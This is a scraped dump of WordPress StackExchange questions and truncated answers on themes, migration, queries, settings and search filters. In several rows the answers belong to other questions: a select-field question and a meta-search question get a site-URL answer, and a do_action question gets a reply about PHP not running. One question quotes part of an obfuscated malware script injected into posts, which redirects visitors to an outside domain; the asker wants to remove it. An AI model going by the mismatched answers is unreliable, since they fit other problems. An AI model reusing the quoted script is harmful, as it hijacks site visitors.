"text": "<p>You can try adding this in your functions.php file:</p>\n\n<pre><code>add_action('admin_head', 'hi... | 2020/01/24 | [
"https://wordpress.stackexchange.com/questions/357070",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/153522/"
] | I use TwentyTwent theme and want to change its background colour by page IDs.
I'm not sure but when I check the functions.php, I see below lines which are related to background colours:
```php
// Custom background color.
add_theme_support(
'custom-background',
array(
'default-color... | You can try adding this in your functions.php file:
```
add_action('admin_head', 'hide_delete_note_from_edit_order');
function hide_delete_note_from_edit_order()
{
$screen = get_current_screen();
if ($screen->post_type === "shop_order" && $screen->base === "post") {
echo '<style>a.delete_note { display... |
357,142 | <p>I'm in the process of changing my web host. I'm wondering about the cleanest way to migrate my WordPress blog. I'm far from being a WordPress expert, I only use it to publish a few posts. Could you say me if my way to process is correct ?</p>
<ol>
<li>I downloaded all my website and blog content on my hard drive</l... | [
{
"answer_id": 357174,
"author": "Admiral Noisy Bottom",
"author_id": 181142,
"author_profile": "https://wordpress.stackexchange.com/users/181142",
"pm_score": 1,
"selected": false,
"text": "<p>It would seem you have covered all your bases and your site is working as it should.</p>\n\n<p... | 2020/01/25 | [
"https://wordpress.stackexchange.com/questions/357142",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181608/"
] | I'm in the process of changing my web host. I'm wondering about the cleanest way to migrate my WordPress blog. I'm far from being a WordPress expert, I only use it to publish a few posts. Could you say me if my way to process is correct ?
1. I downloaded all my website and blog content on my hard drive
2. I exported a... | My domain is now pointing the new web server host. All seems works perfectly. I can execute WordPress plugin update, my image appears... I precise that I don't change the domain name and my site was already in HTTPS.
So to resume, this is the steps to migrate a WordPress :
1. Download all my website and blog content o... |
357,153 | <p>Here is my query loop:</p>
<pre><code><?php
$query = new \WP_Query( $args );
if ( $query->have_posts() ) {
while ( $query->have_posts() ) {
$query->the_post();
?>
</code></pre>
<p>I want to call $post for this:</p>
<pre><code><div>
<?php echo do_shortcode( '[svg-flag flag="... | [
{
"answer_id": 357155,
"author": "Tim Elsass",
"author_id": 80375,
"author_profile": "https://wordpress.stackexchange.com/users/80375",
"pm_score": 2,
"selected": true,
"text": "<p><a href=\"https://developer.wordpress.org/reference/functions/get_the_id/\" rel=\"nofollow noreferrer\">get... | 2020/01/25 | [
"https://wordpress.stackexchange.com/questions/357153",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180385/"
] | Here is my query loop:
```
<?php
$query = new \WP_Query( $args );
if ( $query->have_posts() ) {
while ( $query->have_posts() ) {
$query->the_post();
?>
```
I want to call $post for this:
```
<div>
<?php echo do_shortcode( '[svg-flag flag="' . get_post_meta( $post->ID, 'ozellikler_text', true ) . '"]... | [get\_the\_ID](https://developer.wordpress.org/reference/functions/get_the_id/) is a WordPress core fuction in the global namespace, so you can't make a second function called `get_the_ID` as it won't know which one to use. You should just call get\_the\_ID() without writing a new function.
For your example code, you ... |
357,172 | <p>For development I want to be able to use my wordpress site with localhost, and with a variety of IPs, maybe even with some throwaways domain names.</p>
<p>Now wordpress doesn't allow, you have to choose 1 "site url" and change it every time you decide to use a different port or different test server IP.</p>
<p>I a... | [
{
"answer_id": 357175,
"author": "Admiral Noisy Bottom",
"author_id": 181142,
"author_profile": "https://wordpress.stackexchange.com/users/181142",
"pm_score": -1,
"selected": false,
"text": "<p>Wordpress is PHP based and requires a database server such as MySQL or MariaDB.</p>\n\n<p>I w... | 2020/01/26 | [
"https://wordpress.stackexchange.com/questions/357172",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/123580/"
] | For development I want to be able to use my wordpress site with localhost, and with a variety of IPs, maybe even with some throwaways domain names.
Now wordpress doesn't allow, you have to choose 1 "site url" and change it every time you decide to use a different port or different test server IP.
I am aware I can cha... | There's a bit more than just the option to update unfortunately. I'd recommend reading over <https://wordpress.org/support/article/changing-the-site-url/> to learn about what is involved first. As far as plugin solutions, there's lots that exist already, which would be a safer route than rolling your own. [Better Searc... |
357,187 | <p>Hello I need a form in one wordpress page where an user can search pages by specific meta data.</p>
<p>I found how to do search:
<a href="https://rudrastyh.com/wordpress/meta_query.html#query_meta_values" rel="nofollow noreferrer">https://rudrastyh.com/wordpress/meta_query.html#query_meta_values</a></p>
<p>But how... | [
{
"answer_id": 357175,
"author": "Admiral Noisy Bottom",
"author_id": 181142,
"author_profile": "https://wordpress.stackexchange.com/users/181142",
"pm_score": -1,
"selected": false,
"text": "<p>Wordpress is PHP based and requires a database server such as MySQL or MariaDB.</p>\n\n<p>I w... | 2020/01/26 | [
"https://wordpress.stackexchange.com/questions/357187",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181645/"
] | Hello I need a form in one wordpress page where an user can search pages by specific meta data.
I found how to do search:
<https://rudrastyh.com/wordpress/meta_query.html#query_meta_values>
But how should I create form which then call the query with arguments? After that it then should display the search result.
Cur... | There's a bit more than just the option to update unfortunately. I'd recommend reading over <https://wordpress.org/support/article/changing-the-site-url/> to learn about what is involved first. As far as plugin solutions, there's lots that exist already, which would be a safer route than rolling your own. [Better Searc... |
357,209 | <p>I have two option callbacks in my plugin, one with a ckeckbox and one with a select field. The first one is working perfectly, the second not. The select field doesn't save its value. I double checked the code which registers the two settings, I assume my mistake is somewhere in the callback.</p>
<p>Any ideas?</p>
... | [
{
"answer_id": 357175,
"author": "Admiral Noisy Bottom",
"author_id": 181142,
"author_profile": "https://wordpress.stackexchange.com/users/181142",
"pm_score": -1,
"selected": false,
"text": "<p>Wordpress is PHP based and requires a database server such as MySQL or MariaDB.</p>\n\n<p>I w... | 2020/01/26 | [
"https://wordpress.stackexchange.com/questions/357209",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/59113/"
] | I have two option callbacks in my plugin, one with a ckeckbox and one with a select field. The first one is working perfectly, the second not. The select field doesn't save its value. I double checked the code which registers the two settings, I assume my mistake is somewhere in the callback.
Any ideas?
Checkbox (wor... | There's a bit more than just the option to update unfortunately. I'd recommend reading over <https://wordpress.org/support/article/changing-the-site-url/> to learn about what is involved first. As far as plugin solutions, there's lots that exist already, which would be a safer route than rolling your own. [Better Searc... |
357,212 | <p>Until two days ago the site was working fine. Yesterday, I've done nothing to it and now when I try to go to the web site it downloads a file that contains:</p>
<pre><code><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPres... | [
{
"answer_id": 357224,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 2,
"selected": true,
"text": "<p>Sounds to me like PHP is not running on your system, or (perhaps) an older version of PHP. </p>\n\n<p>B... | 2020/01/26 | [
"https://wordpress.stackexchange.com/questions/357212",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181662/"
] | Until two days ago the site was working fine. Yesterday, I've done nothing to it and now when I try to go to the web site it downloads a file that contains:
```
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the the... | Sounds to me like PHP is not running on your system, or (perhaps) an older version of PHP.
But you can check PHP status by creating a simple PHP file with the command
```
phpinfo();
```
in it and loading that page in your browser. That should show you the current settings of PHP, if it is running. And perhaps che... |
357,246 | <p>I've been using do_action to generate multiple action hooks in the loop. It seems unlucky for me the do_action not working.</p>
<pre><code>function ltc_generate_input_fields($fields = array()) {
echo "Hello World";
if (empty($fields) || !is_array($fields)) return;
foreach($fields as $field) {
... | [
{
"answer_id": 357224,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 2,
"selected": true,
"text": "<p>Sounds to me like PHP is not running on your system, or (perhaps) an older version of PHP. </p>\n\n<p>B... | 2020/01/27 | [
"https://wordpress.stackexchange.com/questions/357246",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/101518/"
] | I've been using do\_action to generate multiple action hooks in the loop. It seems unlucky for me the do\_action not working.
```
function ltc_generate_input_fields($fields = array()) {
echo "Hello World";
if (empty($fields) || !is_array($fields)) return;
foreach($fields as $field) {
if (!is_ar... | Sounds to me like PHP is not running on your system, or (perhaps) an older version of PHP.
But you can check PHP status by creating a simple PHP file with the command
```
phpinfo();
```
in it and loading that page in your browser. That should show you the current settings of PHP, if it is running. And perhaps che... |
357,309 | <p>I have a custom post type that I'm importing into the front page of the site with <code>WP_Query()</code>, but I can't seem to get the custom taxonomy to show.</p>
<p>I've placed a div in the HTML and inside this I'm calling <code>the_category()</code>, but nothing is being outputted to the front end.</p>
<p>The t... | [
{
"answer_id": 357324,
"author": "Dip Patel",
"author_id": 172710,
"author_profile": "https://wordpress.stackexchange.com/users/172710",
"pm_score": 2,
"selected": false,
"text": "<p>If you want to get custom taxonomy comma separated listing than we can go with WordPress inbuilt function... | 2020/01/28 | [
"https://wordpress.stackexchange.com/questions/357309",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/106972/"
] | I have a custom post type that I'm importing into the front page of the site with `WP_Query()`, but I can't seem to get the custom taxonomy to show.
I've placed a div in the HTML and inside this I'm calling `the_category()`, but nothing is being outputted to the front end.
The taxonomy is showing in the back end and ... | From your explanation above I understood that you want to show custom taxonomy you have registered for that post type.
[the\_category()](https://developer.wordpress.org/reference/functions/the_category/); fetches the default category that comes with the default post.
For rendering custom taxonomy you need to add som... |
357,312 | <p>So I've been messing with this for a while now and I don't understand how I'm unable to pull in my style file properly by registering and calling it at all.</p>
<p>Here is my method:</p>
<pre><code>public static function register_styles()
{
add_action('wp_enqueue_scripts', function() {
global $post;
... | [
{
"answer_id": 357314,
"author": "Tanmay Patel",
"author_id": 62026,
"author_profile": "https://wordpress.stackexchange.com/users/62026",
"pm_score": 2,
"selected": true,
"text": "<p>Call like this. It may be help you.</p>\n\n<pre><code>wp_register_style('profile-style',content_url().'/m... | 2020/01/28 | [
"https://wordpress.stackexchange.com/questions/357312",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/-1/"
] | So I've been messing with this for a while now and I don't understand how I'm unable to pull in my style file properly by registering and calling it at all.
Here is my method:
```
public static function register_styles()
{
add_action('wp_enqueue_scripts', function() {
global $post;
if (is_page('f... | Call like this. It may be help you.
```
wp_register_style('profile-style',content_url().'/mu-plugins/sacfoodies/styles/style.css');
wp_enqueue_style('profile-style');
``` |
357,332 | <p>I have a JSON file stored in my child theme directory: file.json). Separately, the PHP template for my page contains some JavaScript code (in the form of a <code><script></code> tag). In that JS code, I want to write the contents of the JSON file to a variable. What is the proper approach to this?</p>
<ul>... | [
{
"answer_id": 357314,
"author": "Tanmay Patel",
"author_id": 62026,
"author_profile": "https://wordpress.stackexchange.com/users/62026",
"pm_score": 2,
"selected": true,
"text": "<p>Call like this. It may be help you.</p>\n\n<pre><code>wp_register_style('profile-style',content_url().'/m... | 2020/01/28 | [
"https://wordpress.stackexchange.com/questions/357332",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/51204/"
] | I have a JSON file stored in my child theme directory: file.json). Separately, the PHP template for my page contains some JavaScript code (in the form of a `<script>` tag). In that JS code, I want to write the contents of the JSON file to a variable. What is the proper approach to this?
* Can/should I enqueue the JSON... | Call like this. It may be help you.
```
wp_register_style('profile-style',content_url().'/mu-plugins/sacfoodies/styles/style.css');
wp_enqueue_style('profile-style');
``` |
357,342 | <p><a href="https://developer.wordpress.org/reference/hooks/the_author/" rel="nofollow noreferrer"><code>the_author()</code> filter hook</a> can be used to modify the output of <code>the_author()</code>. When using the hook, is it possible to know which PHP file generates which call to <code>the_author()</code>?</p>
... | [
{
"answer_id": 357314,
"author": "Tanmay Patel",
"author_id": 62026,
"author_profile": "https://wordpress.stackexchange.com/users/62026",
"pm_score": 2,
"selected": true,
"text": "<p>Call like this. It may be help you.</p>\n\n<pre><code>wp_register_style('profile-style',content_url().'/m... | 2020/01/28 | [
"https://wordpress.stackexchange.com/questions/357342",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/51204/"
] | [`the_author()` filter hook](https://developer.wordpress.org/reference/hooks/the_author/) can be used to modify the output of `the_author()`. When using the hook, is it possible to know which PHP file generates which call to `the_author()`?
For example, say I have this custom function attached to `the_author()` filter... | Call like this. It may be help you.
```
wp_register_style('profile-style',content_url().'/mu-plugins/sacfoodies/styles/style.css');
wp_enqueue_style('profile-style');
``` |
357,397 | <p><a href="https://i.stack.imgur.com/PIxfV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/PIxfV.png" alt="which plugin is this"></a></p>
<p>i want to know which plugin is this or similar types of plugin <a href="https://www.variyoshop.com/product/free-fire-diamond-direct-from-player-id-top-up/" re... | [
{
"answer_id": 357314,
"author": "Tanmay Patel",
"author_id": 62026,
"author_profile": "https://wordpress.stackexchange.com/users/62026",
"pm_score": 2,
"selected": true,
"text": "<p>Call like this. It may be help you.</p>\n\n<pre><code>wp_register_style('profile-style',content_url().'/m... | 2020/01/29 | [
"https://wordpress.stackexchange.com/questions/357397",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181771/"
] | [](https://i.stack.imgur.com/PIxfV.png)
i want to know which plugin is this or similar types of plugin <https://www.variyoshop.com/product/free-fire-diamond-direct-from-player-id-top-up/> | Call like this. It may be help you.
```
wp_register_style('profile-style',content_url().'/mu-plugins/sacfoodies/styles/style.css');
wp_enqueue_style('profile-style');
``` |
357,415 | <p>I'm trying to get a list of categories if they are used in a Custom Post type. The post type uses the default categories taxonomy. There are also other custom post types that use the same default WP category.</p>
<p>Is it possible to add a meta_query that checks if the category is used in a Custom post_type? eq: cu... | [
{
"answer_id": 357420,
"author": "Greg Winiarski",
"author_id": 154460,
"author_profile": "https://wordpress.stackexchange.com/users/154460",
"pm_score": 0,
"selected": false,
"text": "<p>To get all terms from all taxonomies assigned to \"work\" custom post type you can customize your co... | 2020/01/29 | [
"https://wordpress.stackexchange.com/questions/357415",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/97361/"
] | I'm trying to get a list of categories if they are used in a Custom Post type. The post type uses the default categories taxonomy. There are also other custom post types that use the same default WP category.
Is it possible to add a meta\_query that checks if the category is used in a Custom post\_type? eq: custom pos... | [This would work.](https://developer.wordpress.org/reference/classes/wp_term_query/__construct/#comment-2500) As posted by [@bucketpress](https://profiles.wordpress.org/bucketpress/).
```
$someposts = get_posts(
array(
'post_type' => 'work',
'posts_per_page' => -1,
'fields' => 'ids', // ret... |
357,465 | <p>I have a malware java script that was added to the end of every post. I tried using an SQL statement in phpMyAdmin. Here is a shortened version of that:</p>
<pre><code>SET @virus = "<script>var _0x2cf4=['MSIE"+CHAR(59)+"','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onloa... | [
{
"answer_id": 357420,
"author": "Greg Winiarski",
"author_id": 154460,
"author_profile": "https://wordpress.stackexchange.com/users/154460",
"pm_score": 0,
"selected": false,
"text": "<p>To get all terms from all taxonomies assigned to \"work\" custom post type you can customize your co... | 2020/01/29 | [
"https://wordpress.stackexchange.com/questions/357465",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/122051/"
] | I have a malware java script that was added to the end of every post. I tried using an SQL statement in phpMyAdmin. Here is a shortened version of that:
```
SET @virus = "<script>var _0x2cf4=['MSIE"+CHAR(59)+"','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById'...... | [This would work.](https://developer.wordpress.org/reference/classes/wp_term_query/__construct/#comment-2500) As posted by [@bucketpress](https://profiles.wordpress.org/bucketpress/).
```
$someposts = get_posts(
array(
'post_type' => 'work',
'posts_per_page' => -1,
'fields' => 'ids', // ret... |
357,522 | <p>I'm looking for a way to load my JavaScript and CSS only on the product page, but only if it's a Variable Products.</p>
<p>The <code>is_product()</code> function works well, but my scripts are loaded for all types of products: Simple, Variable, Grouped .....</p>
<p>How to limit the loading of scripts only for a va... | [
{
"answer_id": 357420,
"author": "Greg Winiarski",
"author_id": 154460,
"author_profile": "https://wordpress.stackexchange.com/users/154460",
"pm_score": 0,
"selected": false,
"text": "<p>To get all terms from all taxonomies assigned to \"work\" custom post type you can customize your co... | 2020/01/30 | [
"https://wordpress.stackexchange.com/questions/357522",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/65465/"
] | I'm looking for a way to load my JavaScript and CSS only on the product page, but only if it's a Variable Products.
The `is_product()` function works well, but my scripts are loaded for all types of products: Simple, Variable, Grouped .....
How to limit the loading of scripts only for a variable product? | [This would work.](https://developer.wordpress.org/reference/classes/wp_term_query/__construct/#comment-2500) As posted by [@bucketpress](https://profiles.wordpress.org/bucketpress/).
```
$someposts = get_posts(
array(
'post_type' => 'work',
'posts_per_page' => -1,
'fields' => 'ids', // ret... |
357,529 | <p>I need to add the filter option on search page in wordpress site.
Created dropdown with two options. one is 'Recently Added' and 'Last Updated'.
We need to filter the courses by selecting dropdown.</p>
<p>I have created dropdown and written jquery to hook the filter using ajax call method.
Created filter.php file a... | [
{
"answer_id": 357546,
"author": "Waldo Rabie",
"author_id": 172667,
"author_profile": "https://wordpress.stackexchange.com/users/172667",
"pm_score": 0,
"selected": false,
"text": "<p>You're not actually executing a new WP_Query so no results are being returned. Try this...</p>\n\n<pre>... | 2020/01/30 | [
"https://wordpress.stackexchange.com/questions/357529",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181872/"
] | I need to add the filter option on search page in wordpress site.
Created dropdown with two options. one is 'Recently Added' and 'Last Updated'.
We need to filter the courses by selecting dropdown.
I have created dropdown and written jquery to hook the filter using ajax call method.
Created filter.php file and hook th... | You can apply a custom filter on your WP\_Query that is on your ajax callback function like this:
```
$my_query = apply_filters('my_plugin_pre_get_posts', (new WP_Query($args)));
```
Now you can use your existing `pre_get_posts` function for ajax calls also,
```
add_action('pre_get_posts', 'myplugin_filter_posts');... |